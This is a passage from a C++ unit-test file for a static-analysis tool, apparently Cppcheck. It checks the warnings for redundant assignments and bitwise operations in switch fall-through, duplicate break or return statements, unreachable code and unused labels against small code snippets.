\"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:11] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strncpy(str, \\\"a'\\\");\\n\"\n \" case 3:\\n\"\n \" strncpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:6] -> [test.cpp:8]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" int z = 0;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" z++;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" z++;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:7] -> [test.cpp:10]: (style) Buffer 'str' is being written before its old content has been used. 'break;' missing?\\n\",\n \"\",\n errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a) {\\n\"\n \" char str[10];\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" strcpy(str, \\\"a'\\\");\\n\"\n \" printf(str);\\n\"\n \" case 3:\\n\"\n \" strcpy(str, \\\"b'\\\");\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #5158 \"segmentation fault (valid code)\"\n check(\"typedef struct ct_data_s {\\n\"\n \" union {\\n\"\n \" char freq;\\n\"\n \" } fc;\\n\"\n \"} ct_data;\\n\"\n \"typedef struct internal_state {\\n\"\n \" struct ct_data_s dyn_ltree[10];\\n\"\n \"} deflate_state;\\n\"\n \"void f(deflate_state *s) {\\n\"\n \" s->dyn_ltree[0].fc.freq++;\\n\"\n \"}\\n\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // Ticket #6132 \"crash: daca: kvirc CheckOther::checkRedundantAssignment()\"\n check(\"void HttpFileTransfer :: transferTerminated ( bool bSuccess ) {\\n\"\n \"if ( m_szCompletionCallback . isNull ( ) ) {\\n\"\n \"KVS_TRIGGER_EVENT ( KviEvent_OnHTTPGetTerminated , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams )\\n\"\n \"} else {\\n\"\n \"KviKvsScript :: run ( m_szCompletionCallback , out ? out : ( g_pApp . activeConsole ( ) ) , & vParams ) ;\\n\"\n \"}\\n\"\n \"}\\n\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" switch (state) {\\n\"\n \" case 1: x = 3; goto a;\\n\"\n \" case 1: x = 6; goto a;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void switchRedundantOperationTest() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" ++y;\\n\"\n \" case 3:\\n\"\n \" ++y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:9] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" (void)y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" --y;\\n\"\n \" case 3:\\n\"\n \" --y;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:9:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:10] -> [test.cpp:11:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = 2;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y--;\\n\"\n \" case 3:\\n\"\n \" y--;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" case 3:\\n\"\n \" if (x)\\n\"\n \" {\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" {\\n\"\n \" y++;\\n\"\n \" if (y)\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" }\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int x = a;\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" x++;\\n\"\n \" case 3:\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" continue;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" while(xyz()) {\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" throw e;\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" printf(\\\"%d\\\", y);\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (x)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y++;\\n\"\n \" bar();\\n\"\n \" case 3:\\n\"\n \" y = 3;\\n\"\n \" }\\n\"\n \" bar(y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:10] -> [test.cpp:10:11]: (style) Variable 'y' is reassigned a value before the old one has been used. 'break;' missing? [redundantAssignInSwitch]\\n\", errout_str());\n\n check(\"bool f() {\\n\"\n \" bool ret = false;\\n\"\n \" switch (switchCond) {\\n\"\n \" case 1:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 31:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" case 54:\\n\"\n \" ret = true;\\n\"\n \" break;\\n\"\n \" };\\n\"\n \" ret = true;\\n\"\n \" return ret;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:8:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\"\n \"[test.cpp:11:13] -> [test.cpp:14:9]: (style) Variable 'ret' is reassigned a value before the old one has been used. [redundantAssignment]\\n\",\n errout_str());\n }\n\n void switchRedundantBitwiseOperationTest() {\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y = y | 3;\\n\"\n \" case 3:\\n\"\n \" y = y | 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" default:\\n\"\n \" if (z)\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= z;\\n\"\n \" z++;\\n\"\n \" default:\\n\"\n \" y |= z;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" bar(y);\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" y = 4;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:11] -> [test.cpp:8:11]: (style) Variable 'y' is reassigned a value before the old one has been used. [redundantAssignment]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 3;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:9]: (style) Redundant bitwise operation on 'y' in 'switch' statement. 'break;' missing? [redundantBitwiseOperationInSwitch]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y ^= 3;\\n\"\n \" case 3:\\n\"\n \" y ^= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y |= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y &= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 3;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" int y = 1;\\n\"\n \" switch (a)\\n\"\n \" {\\n\"\n \" case 2:\\n\"\n \" y |= 2;\\n\"\n \" case 3:\\n\"\n \" y &= 2;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void unreachableCode() {\n check(\"void foo(int a) {\\n\"\n \" while(1) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" return 0;\\n\"\n \" return(a-1);\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo(int a) {\\n\"\n \" A:\"\n \" return(0);\\n\"\n \" goto A;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n constexpr char xmldata[] = \"\\n\"\n \"\\n\"\n \" \\n\"\n \" true\\n\"\n \" \\n\"\n \" \\n\"\n \"\";\n /*const*/ Settings settings = settingsBuilder().libraryxml(xmldata).build();\n\n check(\"void foo() {\\n\"\n \" exit(0);\\n\"\n \" break;\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"class NeonSession {\\n\"\n \" void exit();\\n\"\n \"};\\n\"\n \"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void NeonSession::exit()\\n\"\n \"{\\n\"\n \" SAL_INFO(\\\"ucb.ucp.webdav\\\", \\\"neon commands cannot be aborted\\\");\\n\"\n \"}\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() { xResAccess->exit(); }\", true, false, false, false, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" switch(a) {\\n\"\n \" case 0:\\n\"\n \" printf(\\\"case 0\\\");\\n\"\n \" break;\\n\"\n \" case 1:\\n\"\n \" c++;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" break;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:6:13]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo(int a)\\n\"\n \"{\\n\"\n \" while(true) {\\n\"\n \" if (a++ >= 100) {\\n\"\n \" continue;\\n\"\n \" }\\n\"\n \" a+=2;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" throw 0;\\n\"\n \" return;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" throw = 0;\\n\"\n \" return 1;\\n\"\n \"}\", false, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" return 1;\\n\"\n \"}\", true, false, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo(int unused) {\\n\"\n \" return 0;\\n\"\n \" (void)unused;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo(int unused1, int unused2) {\\n\"\n \" return 0;\\n\"\n \" (void)unused1;\\n\"\n \" (void)unused2;\\n\"\n \" foo();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" if(bar)\\n\"\n \" return 0;\\n\"\n \" return 124;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" while(bar) {\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return 124;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n check(\"void foo() {\\n\"\n \" while(bar) {\\n\"\n \" return;\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:4:9]: (style) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #5707\n check(\"extern int i,j;\\n\"\n \"int foo() {\\n\"\n \" switch(i) {\\n\"\n \" default: j=1; break;\\n\"\n \" }\\n\"\n \" return 0;\\n\"\n \" j=2;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:7:5]: (style) Statements following 'return' will never be executed. [unreachableCode]\\n\", errout_str());\n\n check(\"int foo() {\\n\"\n \" return 0;\\n\"\n \" label:\\n\"\n \" throw 0;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"[test.cpp:3:3]: (style) Label 'label' is not used. [unusedLabel]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" virtual void foo (P & Val) throw ();\\n\"\n \" virtual void foo1 (P & Val) throw ();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" while (true) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" do {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" } while (true);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n check(\"int foo() {\\n\"\n \" goto label;\\n\"\n \" for (;;) {\\n\"\n \" bar();\\n\"\n \" label:\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3457\n\n // #3383. TODO: Use preprocessor\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n check(\"int foo() {\\n\"\n \"\\n\" // #ifdef A\n \" return 0;\\n\"\n \"\\n\" // #endif\n \" return 1;\\n\"\n \"}\", true, true, false);\n ASSERT_EQUALS(\"[test.cpp:5:5]: (style, inconclusive) Consecutive return, break, continue, goto or throw statements are unnecessary. [duplicateBreak]\\n\", errout_str());\n\n // #4711 lambda functions\n check(\"int f() {\\n\"\n \" return g([](int x){(void)x+1; return x;});\\n\"\n \"}\",\n true,\n false,\n false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4756\n check(\"template <>\\n\"\n \"inline uint16_t htobe(uint16_t value) {\\n\"\n \" return ( __extension__ ({\\n\"\n \" 